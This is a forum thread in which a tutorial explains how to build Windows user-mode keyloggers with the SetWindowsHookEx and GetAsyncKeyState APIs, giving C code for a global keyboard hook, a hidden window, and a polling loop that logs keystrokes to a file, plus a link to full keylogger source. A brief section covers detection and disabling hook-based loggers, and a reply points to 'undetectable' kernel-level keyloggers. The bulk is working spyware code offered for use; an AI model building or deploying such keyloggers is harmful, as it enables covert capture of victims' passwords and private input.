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Thread: The Art Of Keylogging - Implementation and Detection

  1. #1
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    The Art Of Keylogging - Implementation and Detection

    ==[0x00]==[Contents]=

    0x01 Abstract.
    0x02 Things you need.
    0x03 Types of keyloggers.
    0x04 The SetWindowsHookEx method.
    0x05 The GetAsyncKeyState method.
    0x06 Translating the virtual-keys.
    0x07 Conlcusion.
    0x08 References.

    ==[0x01]==[Abstract]=

    From the time of computing malwares and spywares have been
    an integral part of the computer era. Keylogging is one the
    most basic and dire need for a backdoor or a spyware, it adds
    a new dimension to the backdoored or a rooted system allowing
    to infiltrate without raising a packet. In this article we
    discuss implementation and detection of Windows user mode
    keyloggers, with that lets roll.

    ==[0x02]==[Things you need]

    o Th Mirosoft VC++ development environment.
    o MSDN Library.
    o I assume you are well used to the above mentioned things

    ==[0x03]==[Types of Keyloggers]

    On windows keylogging in user mode is acheived using two
    methods they are (They are Windows API calls)

    1. SetWindowsHookEx
    2. GetAsyncKeyState

    These are not the only two methods available, others are
    there but not quite practical and not seemed to be used in
    the wild.

    ==[0x04]==[The SetWindowsHookEx method]

    This method is very well known and source implementations are
    also available.As the api name suggests, we use windows hooks
    to achieve keylogging.(Many of you might recall this as a method
    to inject DLLs and API hooking),MSDN says

    "A hook is a point in the system message-handling mechanism where
    an application can install a subroutine to monitor the message traffic
    in the system and process certain types of messages before they reach
    the target window procedure."

    "The SetWindowsHookEx function installs an application-defined hook
    procedure into a hook chain. You would install a hook procedure to
    monitor the system for certain types of events. These events are
    associated either with a specific thread or with all threads in the
    same desktop as the calling thread."

    Syntax

    HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,
    DWORD dwThreadId);

    if the idHook is set to WH_KEYBOARD, keyboard events are monitored and
    on each event the hook procedure is called, there is another idHook
    available but it won't work on windows 98, this one works on all of
    them and yes even Win2k3.

    For the application to recieve the events globally the hook procedure
    (a.k.a global hook) must be in a library i.e a DLL file.So here are the
    steps

    o First we make a DLL file having the hook procedure function, who's
    prototype is

    LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam);

    The wParam holds the virtual-key code of the key that generated the
    keystroke message and the lparam holds the repeat count, scan code,
    extended-key flag,context code, previous key-state flag, and
    transition-state flag.

    Next we need to decode these parameters to ASCII characters and log them
    to file, but as you can see opening and writing each charater to a file
    every time a key strokeis generated will make the process slower, so we
    send these keystrokes back to the application where they will be
    processed and logged to a file, there are numerous methods available
    to do this ( shared memory sections named pipes etc, but they are again
    equivalent to opening and closing a file object), we do it using windows
    messages.

    Also we need to keep nag of a few things here (from MSDN)
    a. If code is less than zero, the hook procedure must return the value
    returned by CallNextHookEx
    b. If code is greater than or equal to zero, and the hook procedure
    did not process the message,it is highly recommended that you call
    CallNextHookEx and return the value it returns; otherwise, other
    applications that have installed WH_KEYBOARD hooks will not receive
    hook notifications and may behave incorrectly as a result. If the hook
    procedure processed the message,it may return a nonzero value to prevent
    the system from passing the message to the rest of the hook chain or
    the target window procedure.

    NOTE: This method can also be use to sterlize already running keyloggers by
    violating point b.See section 0x06.

    Finally our procedure looks like

    LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
    {
    if(code != HC_NOREMOVE) /*Follow points a and b*/
    if(lParam < 0)
    if(code==HC_ACTION) {
    /*Find the window and send the message*/
    hwnd=FindWindow(szWindowClass,szWindowName);
    SendMessage(hwnd,WM_LOGGERB,wParam,lParam);
    }

    return CallNextHookEx(NULL,code,wParam,lParam);
    }


    o Next comes the main application, we first create a window(of course
    we will hide it);it is required to make this hook(don't know why) work
    properly also since we will be recieving the keystroke information as messages.
    Next we establish the hook, open a file for writing and wait for messages.
    A part of the window callback procedure code looks like:


    /*Load our library*/
    hm=LoadLibrary(szFile);

    /*GetAddress of the Hook procedure*/
    pFunc=(pKBP)GetProcAddress(hm,"KeyboardProc");

    /*Establish the hook*/
    hhk=SetWindowsHookEx(WH_KEYBOARD,pFunc,hm,0);

    The code for logging the data is similiar to the next method used.The
    rest of the code can be found on my website,see references.

    ==[0x04]==[The GetAsyncKeyState method]

    This method is the most efficient method and does not need an extra dll as in
    SetWIndowsHookEx method.I suppose this is the first time this method is going
    to be publicaly available in source(i found none). MSDN says

    The GetAsyncKeyState function determines whether a key is up or down at the
    time the function is called,and whether the key was pressed after a previous
    call to GetAsyncKeyState.

    Syntax

    SHORT GetAsyncKeyState(int vKey);

    the vkey Specifies one of 256 possible virtual-key codes.

    To use this we constantly poll using a thread,a loop or a timer to check if a
    key is pressed, if yes we log it.Now it might seem simpler to you but the actual
    implementation in C looks something like this

    for(i=0;i<94;i++)
    if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x00000001)
    if(GetAsyncKeyState(VKeys[i].VIR_KEY) & 0x8000000) {
    if((VKeys[i].VIR_KEY >=0x41) && (VKeys[i].VIR_KEY <=0x5A)){
    if(!( ( GetKeyState(VK_CAPITAL) & 0x000000001 ) ^ ( GetKeyState(VK_SHIFT) <0 ) ) ) {
    wsprintf(KeyData,"%c",(TCHAR)tolower(VKeys[i].VIR_KEY));
    res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL);
    if(res==0)
    SendMessage(hwnd,WM_DESTROY,0,0);
    break;
    }
    }
    if( (GetKeyState(VK_SHIFT) <0) && IsTrans(VKeys[i].VIR_KEY) ) {
    wsprintf(KeyData,"%c",(TCHAR)TransKey(VKeys[i].VIR_KEY));
    res=WriteFile(hFile,(LPCVOID)KeyData,1,&BW,NULL);
    if(res==0) SendMessage(hwnd,WM_DESTROY,0,0);
    break;
    }

    wsprintf(KeyData,"%s",VKeys[i].Des);
    res=WriteFile(hFile,(LPCVOID)KeyData,strlen(VKeys[i].Des),&BW,NULL);
    if(res==0) SendMessage(hwnd,WM_DESTROY,0,0);
    }

    Simple ??. The first two if statements might be hard to get, the first
    if statement checks if a key was pressed after the previous call to GetAsyncKeyState
    (this is the essence of this method which gives it the speed) and the second one
    checks if the key is down, the third if takes care of leaving some keys(printable
    ascii actually, but it can be removed). The fourth and the fifth if statement handles
    checks if shift key is pressed or caps lock is on and rest is about translating and
    logging the keys, see the refrence section for a link to the examples.Very few
    keyloggers use this method, one example is the skl0g keylogger written in visual basic.

    ==[0x05]==[Translating the virtual-keys]=

    Finally we need to translate the virtual key codes, i do this by making a structure
    array as this method allows me to log keys as <UP>,<DOWN>,<Num0> etc. I use two structures
    to take care of the shift key(not neccessary, hey the code is old but it is siad old is gold),
    the structures look like

    typedef struct _STABLE {
    int VIR_KEY;
    TCHAR Key;
    }TTABLE;

    typedef struct _VTABLE{
    int VIR_KEY;
    TCHAR *Des;
    }VTABLE;

    And finally the arrays(for arrays see the source code). Since the shift key
    state and caps lock state is unavailable, we use the GetKeyState API to handle these.
    Next we simply call required functions to return appropiate data i.e character coressponding
    to a key or a description.

    ==[0x06]==[Detecting keyloggers]=

    By reading this article by now you must have guessed a couple of ways to detect such
    activity. Most keylogger and spyware detectors work on signatures not heuristics. To monitor
    such activity we need to establish a global API hook on GetAsyncKeyState api and monitor the
    rate at wich it is being called, or just scan for executables which call this function
    (this can be easily bypassed), but beware this is also the method used to implement 'Hot Keys'.
    The SetWindowsHookEx activity can be detected similiary.

    A SetWindowsHookEx keylogger can be easily steralized by establishing another WH_KEYBOARD
    hook, and not following the required rules(see point b under section 0x04),for this our hook
    procedure will look like:

    LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam, LPARAM lParam)
    {
    if(code<0) return CallNextHookEx(NULL,code,wParam,lParam);
    /*The next procedures in the hook chain never get a chance to process messages*/
    if(code>=0) return 0;
    }
    It is to be noted that this should be done after the keylogger is running.


    ==[0x07]==[Conclusion]=

    I have outlined the basic methods involved in building a keyloggers.The next step would be
    to encrypt or accesss the kelogged data remotely.I did not discuss these things as i did
    not want this to be a spyware guide.Hope this article spreads information regarding keyloggers.

    ==[0x08]==[References]==

    1. The examples of both the keyloggers can be found at http://warl0ck.cjb.net/logkeys.rar
    2. MSDN Library , http://msdn.microsoft.com
    3. skl0g keylogger, http://skl0g.cjb.net

  2. #2

    someone please

    make a tutorial like irongeek's tutorials on this




    thanks

  3. #3

    Smile Re: The Art Of Keylogging - Implementation and Detection

    [QUOTE] Originally posted here by warl0ck7
    [B]==[0x00]==[Contents]=

    ==[0x06]==[Detecting keyloggers]=

    By reading this article by now you must have guessed a couple of ways to detect such
    activity. [END OF QUOTE]



    The one thing I wanted to know from reading warl0ck's Tut was how do you detect a keylogger, well... probably most you will agree with warl0ck by saying that I should have guessed it!!! , But sorry guys I didn't.

    I'm either DUMM or that this TUT was way over my head.


    Cheers,
    B.B

  4. #4
    Member
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    Well... Certainly the TUT is highly technical in its contect..

    BTW WarL0ck where did u get it..

  5. #5
    Senior Member
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    it was ok, but u will never make one like irongeek, his tuts rock (especially the zaurus one)

  6. #6
    King Tutorial-ankhamun
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    Thanks, but no need to dis anyone elses tute. I just happen to have time on my hands, and I don't do much of the coding side.

  7. #7
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    i like it, it was kind of deep, technically.
    Difficult takes a day, Impossible takes a week~Kthln01!

  8. #8
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    BTW WarL0ck where did u get it..
    Its 100% original and home grown.

  9. #9
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    That's well written warl0ck7. Good job!

    if the idHook is set to WH_KEYBOARD, keyboard events are monitored and
    on each event the hook procedure is called, there is another idHook
    available but it won't work on windows 98, this one works on all of
    them and yes even Win2k3.
    That other one is WH_KEYBOARD_LL, to monitor low level keyboard events.
    But WH_KEYBOARD does the job .

    The one thing I wanted to know from reading warl0ck's Tut was how do you detect a keylogger, well... probably most you will agree with warl0ck by saying that I should have guessed it!!! , But sorry guys I didn't.
    If you never heard about hooks, you cannot be assumed to know that


    It may be pointed out that while this is the common way of writing a keylogger in userland, and as mentioned in the article that it can easily be detected by detection software, you can as well write a kernel land keylogger, most popular are probably patching the Interrupt Descriptor Table (hooking an interrupt) and modifying the Service Table. But both of these can still easily be detected by the right software. But if one is willing to make the effort; you can write a kernel land keylogger that is undetectable by current detection software.
    The above sentences are produced by the propaganda and indoctrination of people manipulating my mind since 1987, hence, I cannot be held responsible for this post\'s content - me

    www.elhalf.com

  10. #10
    In And Above Man Black Cluster's Avatar
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    Originally posted here by warl0ck7
    Its 100% original and home grown.
    If this work belongs to you, then you should have posted it in the Secuirty forum tutorial, because it is more likely to be called a tutorial.

    Great post....

    Cheers
    \"The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards - and even then I have my doubts\".....Spaf
    Everytime I learn a new thing, I discover how ignorant I am.- ... Black Cluster

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